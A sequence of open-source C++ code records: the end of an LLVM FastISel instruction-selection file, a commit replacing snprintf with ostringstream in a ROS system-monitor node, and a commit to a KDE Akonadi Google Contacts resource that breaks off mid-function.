\"llvm\/Target\/TargetInstrInfo.h\"\nusing namespace llvm;\n\nBasicBlock::iterator\nFastISel::SelectInstructions(BasicBlock::iterator Begin, BasicBlock::iterator End,\n                             DenseMap<const Value*, unsigned> &ValueMap) {\n  BasicBlock::iterator I = Begin;\n\n  for (; I != End; ++I) {\n    switch (I->getOpcode()) {\n    case Instruction::Add: {\n      unsigned Op0 = ValueMap[I->getOperand(0)];\n      unsigned Op1 = ValueMap[I->getOperand(1)];\n      MVT VT = MVT::getMVT(I->getType(), \/*HandleUnknown=*\/true);\n      if (VT == MVT::Other || !VT.isSimple()) {\n        \/\/ Unhandled type. Halt \"fast\" selection and bail.\n        return I;\n      }\n      unsigned ResultReg = FastEmit_rr(VT.getSimpleVT(), ISD::ADD, Op0, Op1);\n      if (ResultReg == 0) {\n        \/\/ Target-specific code wasn't able to find a machine opcode for\n        \/\/ the given ISD opcode and type. Halt \"fast\" selection and bail.\n        return I;\n      }\n      ValueMap[I] = ResultReg;\n      break;\n    }\n    case Instruction::Br: {\n      BranchInst *BI = cast<BranchInst>(I);\n\n      \/\/ For now, check for and handle just the most trivial case: an\n      \/\/ unconditional fall-through branch.\n      if (BI->isUnconditional() &&\n          next(MachineFunction::iterator(MBB))->getBasicBlock() ==\n            BI->getSuccessor(0)) {\n        MBB->addSuccessor(next(MachineFunction::iterator(MBB)));\n        break;\n      }\n\n      \/\/ Something more complicated. Halt \"fast\" selection and bail.\n      return I;\n    }\n    default:\n      \/\/ Unhandled instruction. Halt \"fast\" selection and bail.\n      return I;\n    }\n  }\n\n  return I;\n}\n\nFastISel::~FastISel() {}\n\nunsigned FastISel::FastEmit_(MVT::SimpleValueType, ISD::NodeType) {\n  return 0;\n}\n\nunsigned FastISel::FastEmit_r(MVT::SimpleValueType, ISD::NodeType,\n                              unsigned \/*Op0*\/) {\n  return 0;\n}\n\nunsigned FastISel::FastEmit_rr(MVT::SimpleValueType, ISD::NodeType,\n                               unsigned \/*Op0*\/, unsigned \/*Op0*\/) {\n  return 0;\n}\n\nunsigned FastISel::FastEmitInst_(unsigned MachineInstOpcode,\n                                    const TargetRegisterClass* RC) {\n  MachineRegisterInfo &MRI = MF->getRegInfo();\n  const TargetInstrDesc &II = TII->get(MachineInstOpcode);\n  unsigned ResultReg = MRI.createVirtualRegister(RC);\n\n  MachineInstr *MI = BuildMI(*MF, II, ResultReg);\n\n  MBB->push_back(MI);\n  return ResultReg;\n}\n\nunsigned FastISel::FastEmitInst_r(unsigned MachineInstOpcode,\n                                  const TargetRegisterClass *RC,\n                                  unsigned Op0) {\n  MachineRegisterInfo &MRI = MF->getRegInfo();\n  const TargetInstrDesc &II = TII->get(MachineInstOpcode);\n  unsigned ResultReg = MRI.createVirtualRegister(RC);\n\n  MachineInstr *MI = BuildMI(*MF, II, ResultReg);\n  MI->addOperand(MachineOperand::CreateReg(Op0, false));\n\n  MBB->push_back(MI);\n  return ResultReg;\n}\n\nunsigned FastISel::FastEmitInst_rr(unsigned MachineInstOpcode,\n                                   const TargetRegisterClass *RC,\n                                   unsigned Op0, unsigned Op1) {\n  MachineRegisterInfo &MRI = MF->getRegInfo();\n  const TargetInstrDesc &II = TII->get(MachineInstOpcode);\n  unsigned ResultReg = MRI.createVirtualRegister(RC);\n\n  MachineInstr *MI = BuildMI(*MF, II, ResultReg);\n  MI->addOperand(MachineOperand::CreateReg(Op0, false));\n  MI->addOperand(MachineOperand::CreateReg(Op1, false));\n\n  MBB->push_back(MI);\n  return ResultReg;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (c) 2012, Justin Bronder\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n * 1. Redistributions of source code must retain the above copyright notice,\n *    this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and\/or other materials provided with the distribution.\n * 3. Neither the name of the organization nor the names of its\n *    contributors may be used to endorse or promote products derived from\n *    this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\n * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include <unistd.h>\n\n#include \"cpuinfo.hpp\"\n#include \"cputime.hpp\"\n#include \"diskusage.hpp\"\n#include \"loadavg.hpp\"\n#include \"meminfo.hpp\"\n\nint main(int argc, char **argv)\n{\n    ros::init(argc, argv, \"sysmon\");\n    ros::NodeHandle nh;\n    diagnostic_updater::Updater updater;\n\n    char hostname[HOST_NAME_MAX];\n    int r = gethostname(hostname, HOST_NAME_MAX-1);\n    if (r)\n        updater.setHardwareID(\"unknown\");\n    else\n        updater.setHardwareID(hostname);\n\n    sysmon::CpuInfo cpuinfo;\n    unsigned int nproc = cpuinfo.nproc();\n\n    for (unsigned int i = 0; i < nproc; ++i) {\n        char buf[16];\n        snprintf(buf, 15, \"Processor %d\", i);\n        updater.add(buf, boost::bind(&sysmon::CpuInfo::ros_update, cpuinfo, i, _1));\n    }\n\n    sysmon::LoadAvg loadavg;\n    updater.add(\"Load Average\", &loadavg, &sysmon::LoadAvg::ros_update);\n\n    sysmon::MemInfo meminfo;\n    updater.add(\"Memory\", &meminfo, &sysmon::MemInfo::ros_update);\n\n    sysmon::CpuTime cputime;\n    updater.add(\"CPU time - Total\", boost::bind(&sysmon::CpuTime::ros_update, cputime, -1, _1));\n\n    nproc = cputime.nproc();\n    for (unsigned int i = 0; i < nproc; ++i) {\n        char buf[32];\n        snprintf(buf, 31, \"Cpu Time - Processor %d\", i);\n        updater.add(buf, boost::bind(&sysmon::CpuTime::ros_update, cputime, i, _1));\n    }\n\n    sysmon::DiskUsage diskusage;\n    std::vector<std::string> disks = diskusage.disks();\n    for (std::vector<std::string>::const_iterator it = disks.begin(); it != disks.end(); ++it) {\n        char buf[64];\n        snprintf(buf, 63, \"Disk Usage - %s\", (*it).c_str());\n        updater.add(buf, boost::bind(&sysmon::DiskUsage::ros_update, diskusage, *it, _1));\n    }\n\n    while (nh.ok()) {\n        ros::Duration(1).sleep();\n        updater.update();\n    }\n\n    return 0;\n}\n\n<commit_msg>main:  use ostringstream instead of snprintf<commit_after>\/*\n * Copyright (c) 2012, Justin Bronder\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n * 1. Redistributions of source code must retain the above copyright notice,\n *    this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and\/or other materials provided with the distribution.\n * 3. Neither the name of the organization nor the names of its\n *    contributors may be used to endorse or promote products derived from\n *    this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\n * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include <sstream>\n#include <unistd.h>\n\n#include \"cpuinfo.hpp\"\n#include \"cputime.hpp\"\n#include \"diskusage.hpp\"\n#include \"loadavg.hpp\"\n#include \"meminfo.hpp\"\n\nint main(int argc, char **argv)\n{\n    ros::init(argc, argv, \"sysmon\");\n    ros::NodeHandle nh;\n    diagnostic_updater::Updater updater;\n\n    char hostname[HOST_NAME_MAX];\n    int r = gethostname(hostname, HOST_NAME_MAX-1);\n    if (r)\n        updater.setHardwareID(\"unknown\");\n    else\n        updater.setHardwareID(hostname);\n\n    sysmon::CpuInfo cpuinfo;\n    unsigned int nproc = cpuinfo.nproc();\n\n    for (unsigned int i = 0; i < nproc; ++i) {\n        std::ostringstream s;\n        s << \"CPU Info - Processor \" << i;\n        updater.add(s.str(), boost::bind(&sysmon::CpuInfo::ros_update, cpuinfo, i, _1));\n    }\n\n    sysmon::LoadAvg loadavg;\n    updater.add(\"Load Average\", &loadavg, &sysmon::LoadAvg::ros_update);\n\n    sysmon::MemInfo meminfo;\n    updater.add(\"Memory\", &meminfo, &sysmon::MemInfo::ros_update);\n\n    sysmon::CpuTime cputime;\n    updater.add(\"CPU Time - Total\", boost::bind(&sysmon::CpuTime::ros_update, cputime, -1, _1));\n\n    nproc = cputime.nproc();\n    for (unsigned int i = 0; i < nproc; ++i) {\n        std::ostringstream s;\n        s << \"Cpu Time - Processor \" << i;\n        updater.add(s.str(), boost::bind(&sysmon::CpuTime::ros_update, cputime, i, _1));\n    }\n\n    sysmon::DiskUsage diskusage;\n    std::vector<std::string> disks = diskusage.disks();\n    for (std::vector<std::string>::const_iterator it = disks.begin(); it != disks.end(); ++it) {\n        std::ostringstream s;\n        s << \"Disk Usage - \" << (*it);\n        updater.add(s.str(), boost::bind(&sysmon::DiskUsage::ros_update, diskusage, *it, _1));\n    }\n\n    while (nh.ok()) {\n        ros::Duration(1).sleep();\n        updater.update();\n    }\n\n    return 0;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>#include \"googledataresource.h\"\n\n#include \"settings.h\"\n#include \"settingsadaptor.h\"\n\n#include <QtDBus\/QDBusConnection>\n#include <kabc\/addressee.h>\n#include <kabc\/phonenumber.h>\n#include <kabc\/key.h>\n#include <kabc\/errorhandler.h>\n#include <qstring.h>\n#include <KWindowSystem>\n#include <akonadi\/changerecorder.h>\n#include <akonadi\/itemfetchscope.h>\n#include <KUrl>\n\nextern \"C\" {\n#include <gcalendar.h>\n#include <gcontact.h>\n#include <gcal_status.h>\n}\n\n\n\/** FIXME: for some reason the 'retrieveItem' functions is not being called.\n * this makes the entries to lack its contents (name, email, etc).\n * I should investigate why and fix, for while this is a workaround:\n * I report the payload in the 'retrieveItems' function.\n *\/\n#define ITEM_BUG_WTF\n\nusing namespace Akonadi;\n\nGoogleDataResource::GoogleDataResource( const QString &id )\n\t: ResourceBase(id), dlgConf(0), authenticated(false)\n{\n\tnew SettingsAdaptor( Settings::self() );\n\tQDBusConnection::sessionBus().registerObject(\n\t\tQLatin1String( \"\/Settings\" ), Settings::self(),\n\t\tQDBusConnection::ExportAdaptors );\n\n\tchangeRecorder()->itemFetchScope().fetchFullPayload();\n\n\tif (!(gcal = gcal_new(GCONTACT)))\n\t\texit(1);\n\tgcal_set_store_xml(gcal, 1);\n\tall_contacts.length = 0;\n\tall_contacts.entries = NULL;\n}\n\nGoogleDataResource::~GoogleDataResource()\n{\n\tgcal_delete(gcal);\n\tgcal_cleanup_contacts(&all_contacts);\n\tif (dlgConf)\n\t\tdelete dlgConf;\n}\n\nvoid GoogleDataResource::retrieveCollections()\n{\n\tif (!authenticated) {\n\t\tkError() << \"No authentication for Google Contacts available\";\n\t\tconst QString message = i18nc(\"@info:status\",\n\t\t\t\t\t      \"Not yet authenticated for\"\n\t\t\t\t\t      \" use of Google Contacts\");\n\t\temit error(message);\n\n\t\temit status(Broken, message);\n\t\treturn;\n\t}\n\n\tCollection c;\n\tc.setParent(Collection::root());\n\tc.setRemoteId(\"google-contacts\");\n\tc.setName(name());\n\n\tQStringList mimeTypes;\n\tmimeTypes << \"text\/directory\";\n\tc.setContentMimeTypes(mimeTypes);\n\n\tCollection::List list;\n\tlist << c;\n\tcollectionsRetrieved(list);\n\n}\n\nvoid GoogleDataResource::retrieveItems( const Akonadi::Collection &collection )\n{\n\tQ_UNUSED( collection );\n\n\tItem::List items;\n\tint result;\n\n\tif (!authenticated) {\n\t\tkError() << \"No authentication for Google Contacts available\";\n\t\tconst QString message = i18nc(\"@info:status\",\n\t\t\t\t\t      \"Not yet authenticated for\"\n\t\t\t\t\t      \" use of Google Contacts\");\n\t\temit error(message);\n\n\t\temit status(Broken, message);\n\t\treturn;\n\t}\n\n\t\/* Downloading the contacts can be slow and it is blocking. Will\n\t * it mess up with akonadi?\n\t *\/\n\tif ((result = gcal_get_contacts(gcal, &all_contacts)))\n\t\texit(1);\n\n\t\/* Each google entry has a unique ID and edit_url *\/\n\tfor (size_t i = 0; i < all_contacts.length; ++i) {\n\t\tItem item(QLatin1String(\"text\/directory\"));\n\t\tgcal_contact_t contact = gcal_contact_element(&all_contacts, i);\n\n#ifdef ITEM_BUG_WTF\n\t\tKABC::Addressee addressee;\n\t\tKABC::PhoneNumber number;\n\t\tQString temp;\n\n\t\t\/* name *\/\n\t\ttemp = gcal_contact_get_title(contact);\n\t\taddressee.setNameFromString(temp);\n\t\t\/* email *\/\n\t\ttemp = gcal_contact_get_email(contact);\n\t\taddressee.insertEmail(temp, true);\n\t\t\/* TODO: telefone, address, etc *\/\n\n\t\titem.setPayload<KABC::Addressee>(addressee);\n\n\t\t\/* remoteID: etag+edit_url *\/\n\t\tKUrl urlEtag(gcal_contact_get_url(contact));\n\t\turlEtag.addQueryItem(\"etag\", gcal_contact_get_etag(contact));\n\n#endif\n\n\t\titem.setRemoteId(urlEtag.url());\n\n\t\titems << item;\n\t}\n\n\titemsRetrieved(items);\n}\n\nbool GoogleDataResource::retrieveItem( const Akonadi::Item &item, const QSet<QByteArray> &parts )\n{\n\tQ_UNUSED( parts );\n\tconst QString entry_id = item.remoteId();\n\tQString temp;\n\tItem newItem(item);\n\tgcal_contact_t contact;\n\tKABC::Addressee addressee;\n\tKABC::PhoneNumber number;\n\n\tif (!authenticated) {\n\t\tkError() << \"No authentication for Google Contacts available\";\n\t\tconst QString message = i18nc(\"@info:status\",\n\t\t\t\t\t      \"Not yet authenticated for\"\n\t\t\t\t\t      \" use of Google Contacts\");\n\t\temit error(message);\n\n\t\temit status(Broken, message);\n\t\treturn false;\n\t}\n\n\t\/*\n\t * And another question, are the requests in the same sequence that\n\t * I informed in 'retrieveItems'? For while, I try to locate the entry...\n\t *\/\n\tfor (size_t i = 0; i < all_contacts.length; ++i) {\n\t\tcontact = gcal_contact_element(&all_contacts, i);\n\t\tif (entry_id == gcal_contact_get_id(contact)) {\n\t\t\t\/* name *\/\n\t\t\ttemp = gcal_contact_get_title(contact);\n\t\t\taddressee.setNameFromString(temp);\n\n\t\t\t\/* email *\/\n\t\t\ttemp = gcal_contact_get_email(contact);\n\t\t\taddressee.insertEmail(temp, true);\n\n\t\t\t\/* TODO: telefone, address, etc *\/\n\n\t\t\t\/* remoteID: etag+edit_url *\/\n\t\t\tKUrl urlEtag(gcal_contact_get_url(contact));\n\t\t\turlEtag.addQueryItem(\"etag\",\n\t\t\t\t\t     gcal_contact_get_etag(contact));\n\n\t\t\tnewItem.setPayload<KABC::Addressee>(addressee);\n\t\t\tnewItem.setRemoteId(urlEtag.url());\n                        itemRetrieved(newItem);\n\t\t\treturn true;\n\t\t}\n\n\t}\n\n\treturn false;\n}\n\nvoid GoogleDataResource::aboutToQuit()\n{\n\t\/\/ TODO: any cleanup you need to do while there is still an active\n\t\/\/ event loop. The resource will terminate after this method returns\n}\n\nvoid GoogleDataResource::configure( WId windowId )\n{\n\tQ_UNUSED( windowId );\n\tchar *user, *pass;\n\tint result = -1;\n\tQByteArray byteUser, bytePass;\n\n\tif (!dlgConf)\n\t\tdlgConf = new dlgGoogleDataConf;\n\n\tif (windowId && dlgConf)\n\t\tKWindowSystem::setMainWindow(dlgConf, windowId);\n\n\tdlgConf->exec();\n\n\tbyteUser = dlgConf->eAccount->text().toLocal8Bit();\n\tbytePass = dlgConf->ePass->text().toLocal8Bit();\n\tuser = const_cast<char *>(byteUser.constData());\n\tpass = const_cast<char *>(bytePass.constData());\n\tif (user)\n\t\tif (pass)\n\t\t\tresult = gcal_get_authentication(gcal, user, pass);\n\n\t\/* TODO: in case of authentication error, display an error\n\t * message.\n\t *\/\n\tif (!result)\n\t\tauthenticated = true;\n\n\tsynchronize();\n}\n\nvoid GoogleDataResource::itemAdded( const Akonadi::Item &item, const Akonadi::Collection &collection )\n{\n\n\tQ_UNUSED(collection);\n\n\tKABC::Addressee addressee;\n\tgcal_contact_t contact;\n\tQString temp;\n\tQByteArray t_byte;\n\tItem newItem;\n\tint result;\n\n\tif (!authenticated) {\n\t\tkError() << \"No authentication for Google Contacts available\";\n\t\tconst QString message = i18nc(\"@info:status\",\n\t\t\t\t\t      \"Not yet authenticated for\"\n\t\t\t\t\t      \" use of Google Contacts\");\n\t\temit error(message);\n\n\t\temit status(Broken, message);\n\t\treturn;\n\t}\n\n\tif (item.hasPayload<KABC::Addressee>())\n\t\taddressee = item.payload<KABC::Addressee>();\n\n\tif (!(contact = gcal_contact_new(NULL)))\n\t\texit(1);\n\n\ttemp = addressee.realName();\n\tt_byte = temp.toLocal8Bit();\n\tgcal_contact_set_title(contact, const_cast<char *>(t_byte.constData()));\n\n\ttemp = addressee.fullEmail();\n\tt_byte = temp.toLocal8Bit();\n\tgcal_contact_set_email(contact, const_cast<char *>(t_byte.constData()));\n\n\t\/* TODO: add remaining fields *\/\n\n\tif ((result = gcal_add_contact(gcal, contact))) {\n\t\tkError() << \"Failed adding new contact\"\n\t\t\t << \"name: \" << addressee.realName()\n\t\t\t << \"email: \" << addressee.fullEmail();\n\t\tconst QString message = i18nc(\"@info:status\",\n\t\t\t\t\t      \"Failed adding new contact\");\n\t\temit error(message);\n\t\temit status(Broken, message);\n\n\t}\n\t\/* remoteID: etag+edit_url *\/\n\tKUrl urlEtag(gcal_contact_get_url(contact));\n\turlEtag.addQueryItem(\"etag\", gcal_contact_get_etag(contact));\n\t\/\/FIXME: this guy is const... how to supply the etag\/url?\n\t\/\/item.setRemoteId(urlEtag.url());\n\n\t\/* cleanup *\/\n\tgcal_contact_delete(contact);\n\n}\n\nvoid GoogleDataResource::itemChanged( const Akonadi::Item &item, const QSet<QByteArray> &parts )\n{\n\tQ_UNUSED(parts);\n\n\tKABC::Addressee addressee;\n\tgcal_contact_t contact;\n\tKABC::Key key;\n\tQString temp;\n\tint result;\n\n\tif (!authenticated) {\n\t\tkError() << \"No authentication for Google Contacts available\";\n\t\tconst QString message = i18nc(\"@info:status\",\n\t\t\t\t\t      \"Not yet authenticated for\"\n\t\t\t\t\t      \" use of Google Contacts\");\n\t\temit error(message);\n\n\t\temit status(Broken, message);\n\t\treturn;\n\t}\n\n\tif (item.hasPayload<KABC::Addressee>())\n\t\taddressee = item.payload<KABC::Addressee>();\n\n\tif (!(contact = gcal_contact_new(NULL)))\n\t\texit(1);\n\n\ttemp = addressee.realName();\n\tgcal_contact_set_title(contact, const_cast<char *>(qPrintable(temp)));\n\n\ttemp = addressee.fullEmail();\n\tgcal_contact_set_email(contact, const_cast<char *>(qPrintable(temp)));\n\n\ttemp = addressee.uid();\n\tgcal_contact_set_id(contact, const_cast<char *>(qPrintable(temp)));\n\n\t\/* I suppose that this retrieves the first element in the key list *\/\n\tkey = addressee.keys()[0];\n\ttemp = key.id();\n\tgcal_contact_set_etag(contact, const_cast<char *>(qPrintable(temp)));\n\n\n\t\/* TODO: add remaining fields *\/\n\n\tif ((result = gcal_update_contact(gcal, contact)))\n\t\texit(1);\n\n\n\t\/* Updates the ETag\/url: I suppose that akonadi will save this object *\/\n\ttemp = gcal_contact_get_url(contact);\n\taddressee.setUid(temp);\n\n\ttemp = gcal_contact_get_etag(contact);\n\tkey.setId(temp);\n\taddressee.insertKey(key);\n\n\n\tgcal_contact_delete(contact);\n\n}\n\nvoid GoogleDataResource::itemRemoved( const Akonadi::Item &item )\n{\n\tKABC::Addressee addressee;\n\tgcal_contact_t contact;\n\tQString temp;\n\tQByteArray t_byte;\n\tint result;\n\n\tif (!authenticated) {\n\t\tkError() << \"No authentication for Google Contacts available\";\n\t\tconst QString message = i18nc(\"@info:status\",\n\t\t\t\t\t      \"Not yet authenticated for\"\n\t\t\t\t\t      \" use of Google Contacts\");\n\t\temit error(message);\n\t\temit status(Broken, message);\n\t\treturn;\n\t}\n\n\tif (!(contact = gcal_contact_new(NULL))) {\n\t\tkError() << \"Memory allocation error!\";\n\t\tconst QString message = i18nc(\"@info:status\",\n\t\t\t\t\t      \"Failed to create gcal_contact\");\n\t\temit error(message);\n\t\temit status(Broken, message);\n\t\treturn;\n\t}\n\n\n\tKUrl url(item.remoteId());\n\ttemp = url.queryItem(\"etag\");\n\tt_byte = temp.toAscii();\n\tgcal_contact_set_etag(contact, const_cast<char *>(t_byte.constData()));\n\n\turl.removeQueryItem(\"etag\");\n\ttemp = url.url();\n\tt_byte = temp.toAscii();\n\tgcal_contact_set_url(contact, const_cast<char *>(t_byte.constData()));\n\n\tif ((result = gcal_erase_contact(gcal, contact))) {\n\t\tkError() << \"Failed deleting contact\";\n\t\tconst QString message = i18nc(\"@info:status\",\n\t\t\t\t\t      \"Failed deleting new contact\");\n\t\temit error(message);\n\t\temit status(Broken, message);\n\n\t}\n\n\tgcal_contact_delete(contact);\n}\n\nAKONADI_RESOURCE_MAIN( GoogleDataResource )\n\n#include \"googledataresource.moc\"\n<commit_msg>Retriving the etag\/edit_url from KUrl in itemChanged function.<commit_after>#include \"googledataresource.h\"\n\n#include \"settings.h\"\n#include \"settingsadaptor.h\"\n\n#include <QtDBus\/QDBusConnection>\n#include <kabc\/addressee.h>\n#include <kabc\/phonenumber.h>\n#include <kabc\/key.h>\n#include <kabc\/errorhandler.h>\n#include <qstring.h>\n#include <KWindowSystem>\n#include <akonadi\/changerecorder.h>\n#include <akonadi\/itemfetchscope.h>\n#include <KUrl>\n\nextern \"C\" {\n#include <gcalendar.h>\n#include <gcontact.h>\n#include <gcal_status.h>\n}\n\n\n\/** FIXME: for some reason the 'retrieveItem' functions is not being called.\n * this makes the entries to lack its contents (name, email, etc).\n * I should investigate why and fix, for while this is a workaround:\n * I report the payload in the 'retrieveItems' function.\n *\/\n#define ITEM_BUG_WTF\n\nusing namespace Akonadi;\n\nGoogleDataResource::GoogleDataResource( const QString &id )\n\t: ResourceBase(id), dlgConf(0), authenticated(false)\n{\n\tnew SettingsAdaptor( Settings::self() );\n\tQDBusConnection::sessionBus().registerObject(\n\t\tQLatin1String( \"\/Settings\" ), Settings::self(),\n\t\tQDBusConnection::ExportAdaptors );\n\n\tchangeRecorder()->itemFetchScope().fetchFullPayload();\n\n\tif (!(gcal = gcal_new(GCONTACT)))\n\t\texit(1);\n\tgcal_set_store_xml(gcal, 1);\n\tall_contacts.length = 0;\n\tall_contacts.entries = NULL;\n}\n\nGoogleDataResource::~GoogleDataResource()\n{\n\tgcal_delete(gcal);\n\tgcal_cleanup_contacts(&all_contacts);\n\tif (dlgConf)\n\t\tdelete dlgConf;\n}\n\nvoid GoogleDataResource::retrieveCollections()\n{\n\tif (!authenticated) {\n\t\tkError() << \"No authentication for Google Contacts available\";\n\t\tconst QString message = i18nc(\"@info:status\",\n\t\t\t\t\t      \"Not yet authenticated for\"\n\t\t\t\t\t      \" use of Google Contacts\");\n\t\temit error(message);\n\n\t\temit status(Broken, message);\n\t\treturn;\n\t}\n\n\tCollection c;\n\tc.setParent(Collection::root());\n\tc.setRemoteId(\"google-contacts\");\n\tc.setName(name());\n\n\tQStringList mimeTypes;\n\tmimeTypes << \"text\/directory\";\n\tc.setContentMimeTypes(mimeTypes);\n\n\tCollection::List list;\n\tlist << c;\n\tcollectionsRetrieved(list);\n\n}\n\nvoid GoogleDataResource::retrieveItems( const Akonadi::Collection &collection )\n{\n\tQ_UNUSED( collection );\n\n\tItem::List items;\n\tint result;\n\n\tif (!authenticated) {\n\t\tkError() << \"No authentication for Google Contacts available\";\n\t\tconst QString message = i18nc(\"@info:status\",\n\t\t\t\t\t      \"Not yet authenticated for\"\n\t\t\t\t\t      \" use of Google Contacts\");\n\t\temit error(message);\n\n\t\temit status(Broken, message);\n\t\treturn;\n\t}\n\n\t\/* Downloading the contacts can be slow and it is blocking. Will\n\t * it mess up with akonadi?\n\t *\/\n\tif ((result = gcal_get_contacts(gcal, &all_contacts)))\n\t\texit(1);\n\n\t\/* Each google entry has a unique ID and edit_url *\/\n\tfor (size_t i = 0; i < all_contacts.length; ++i) {\n\t\tItem item(QLatin1String(\"text\/directory\"));\n\t\tgcal_contact_t contact = gcal_contact_element(&all_contacts, i);\n\n#ifdef ITEM_BUG_WTF\n\t\tKABC::Addressee addressee;\n\t\tKABC::PhoneNumber number;\n\t\tQString temp;\n\n\t\t\/* name *\/\n\t\ttemp = gcal_contact_get_title(contact);\n\t\taddressee.setNameFromString(temp);\n\t\t\/* email *\/\n\t\ttemp = gcal_contact_get_email(contact);\n\t\taddressee.insertEmail(temp, true);\n\t\t\/* TODO: telefone, address, etc *\/\n\n\t\titem.setPayload<KABC::Addressee>(addressee);\n\n\t\t\/* remoteID: etag+edit_url *\/\n\t\tKUrl urlEtag(gcal_contact_get_url(contact));\n\t\turlEtag.addQueryItem(\"etag\", gcal_contact_get_etag(contact));\n\n#endif\n\n\t\titem.setRemoteId(urlEtag.url());\n\n\t\titems << item;\n\t}\n\n\titemsRetrieved(items);\n}\n\nbool GoogleDataResource::retrieveItem( const Akonadi::Item &item, const QSet<QByteArray> &parts )\n{\n\tQ_UNUSED( parts );\n\tconst QString entry_id = item.remoteId();\n\tQString temp;\n\tItem newItem(item);\n\tgcal_contact_t contact;\n\tKABC::Addressee addressee;\n\tKABC::PhoneNumber number;\n\n\tif (!authenticated) {\n\t\tkError() << \"No authentication for Google Contacts available\";\n\t\tconst QString message = i18nc(\"@info:status\",\n\t\t\t\t\t      \"Not yet authenticated for\"\n\t\t\t\t\t      \" use of Google Contacts\");\n\t\temit error(message);\n\n\t\temit status(Broken, message);\n\t\treturn false;\n\t}\n\n\t\/*\n\t * And another question, are the requests in the same sequence that\n\t * I informed in 'retrieveItems'? For while, I try to locate the entry...\n\t *\/\n\tfor (size_t i = 0; i < all_contacts.length; ++i) {\n\t\tcontact = gcal_contact_element(&all_contacts, i);\n\t\tif (entry_id == gcal_contact_get_id(contact)) {\n\t\t\t\/* name *\/\n\t\t\ttemp = gcal_contact_get_title(contact);\n\t\t\taddressee.setNameFromString(temp);\n\n\t\t\t\/* email *\/\n\t\t\ttemp = gcal_contact_get_email(contact);\n\t\t\taddressee.insertEmail(temp, true);\n\n\t\t\t\/* TODO: telefone, address, etc *\/\n\n\t\t\t\/* remoteID: etag+edit_url *\/\n\t\t\tKUrl urlEtag(gcal_contact_get_url(contact));\n\t\t\turlEtag.addQueryItem(\"etag\",\n\t\t\t\t\t     gcal_contact_get_etag(contact));\n\n\t\t\tnewItem.setPayload<KABC::Addressee>(addressee);\n\t\t\tnewItem.setRemoteId(urlEtag.url());\n                        itemRetrieved(newItem);\n\t\t\treturn true;\n\t\t}\n\n\t}\n\n\treturn false;\n}\n\nvoid GoogleDataResource::aboutToQuit()\n{\n\t\/\/ TODO: any cleanup you need to do while there is still an active\n\t\/\/ event loop. The resource will terminate after this method returns\n}\n\nvoid GoogleDataResource::configure( WId windowId )\n{\n\tQ_UNUSED( windowId );\n\tchar *user, *pass;\n\tint result = -1;\n\tQByteArray byteUser, bytePass;\n\n\tif (!dlgConf)\n\t\tdlgConf = new dlgGoogleDataConf;\n\n\tif (windowId && dlgConf)\n\t\tKWindowSystem::setMainWindow(dlgConf, windowId);\n\n\tdlgConf->exec();\n\n\tbyteUser = dlgConf->eAccount->text().toLocal8Bit();\n\tbytePass = dlgConf->ePass->text().toLocal8Bit();\n\tuser = const_cast<char *>(byteUser.constData());\n\tpass = const_cast<char *>(bytePass.constData());\n\tif (user)\n\t\tif (pass)\n\t\t\tresult = gcal_get_authentication(gcal, user, pass);\n\n\t\/* TODO: in case of authentication error, display an error\n\t * message.\n\t *\/\n\tif (!result)\n\t\tauthenticated = true;\n\n\tsynchronize();\n}\n\nvoid GoogleDataResource::itemAdded( const Akonadi::Item &item, const Akonadi::Collection &collection )\n{\n\n\tQ_UNUSED(collection);\n\n\tKABC::Addressee addressee;\n\tgcal_contact_t contact;\n\tQString temp;\n\tQByteArray t_byte;\n\tItem newItem;\n\tint result;\n\n\tif (!authenticated) {\n\t\tkError() << \"No authentication for Google Contacts available\";\n\t\tconst QString message = i18nc(\"@info:status\",\n\t\t\t\t\t      \"Not yet authenticated for\"\n\t\t\t\t\t    